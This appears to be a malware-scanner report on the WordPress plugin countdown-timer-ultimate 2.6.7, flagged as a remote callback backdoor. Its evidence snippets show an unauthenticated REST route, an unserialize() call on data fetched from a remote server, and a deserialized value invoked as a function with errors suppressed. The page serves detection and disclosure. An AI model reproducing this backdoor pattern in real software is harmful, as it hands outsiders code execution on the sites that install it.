Suspicious 86% wordpress Download

countdown-timer-ultimate 2.6.7

Unauthenticated REST endpoint, remote unserialize

WordPress plugin remote callback backdoorDeserialization of remote HTTP data
SHA-256bf87c1077ef2588a76d7407509d0428951976289e7584c963c7aecf6020a5642

Evidence

WordPress rest_api_init hook lines 62–84
62:34, 'wpos_init') );
63
64 // Add custom interval for 'monthly'
65 add_filter( 'cron_schedules', array($this, 'wpos_cron_schedules') );
66
67 // Hook into the event and send POST request
68 add_action( 'wpos_monthly_cron_hook', array($this, 'wpos_monthly_cron_hook_fn') );
69
70 // Rest Endpoint
71 add_action( 'rest_api_init', array($this, 'wpos_rest_api_init') );
72
73 }
11 lines
Reads PHP query parameters via $_GET lines 107–112
107:2
108 // WP Menu data
109 $wpos_menu_data = wp_list_pluck( $menu, 2 );
110 $anylc_page = isset( $_GET['page'] ) ? sanitize_text_field( $_GET['page'] ) : null;
111
112 foreach ($wpos_analytics_module as $module_key => $module) {
REST permission callback allows all lines 568–602
568:4data['wpos_anylc_optin'] = 'wpos_anylc_optin';
569
570 $response = wp_remote_post('https://analytics.essentialplugin.com', [
571 'method' => 'POST',
572 'timeout' => 15,
573 'blocking' => true,
14 lines
588 */
589 public function wpos_rest_api_init() {
590 register_rest_route( WPCDT_SLUG . '/v1', '/analytics/', [
591 'methods' => 'POST',
592 'callback' => array( $this, 'wpos_handle_analytics_request' ),
593 'permission_callback' => '__return_true',
594 ]);
595 }
7 lines
PHP object deserialization call lines 630–642
630:31oint . '/plugin_info/' . $this->plugin_id . '/' . '?version=' . urlencode($this->curr_version) . '&site_url=' . urlencode(get_site_url()) . '&live=1';
631 $data = @file_get_contents($url);
632 if (!$data) {
633 $this->status = 'offline';
634 return false;
635 }
636
637 $info = @unserialize($data);
638
639 if ($info instanceof self) {
640 $this->release_date = $info->release_date;
641 $this->status = $info->status;
642 $this->write =
Suppresses errors with the PHP @ operator lines 655–664
655:39() {
656 if ($this->status === 'valid' && $this->changelog && !$this->isOutdated()) {
657 $clean = $this->write;
658 @$clean($this->version_cache, $this->changelog);
659 }
660 }
4 lines

Showing the top 5 files — 6 more files (42 regions) not shown.

No evidence locations were recorded for this file. Raw result

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.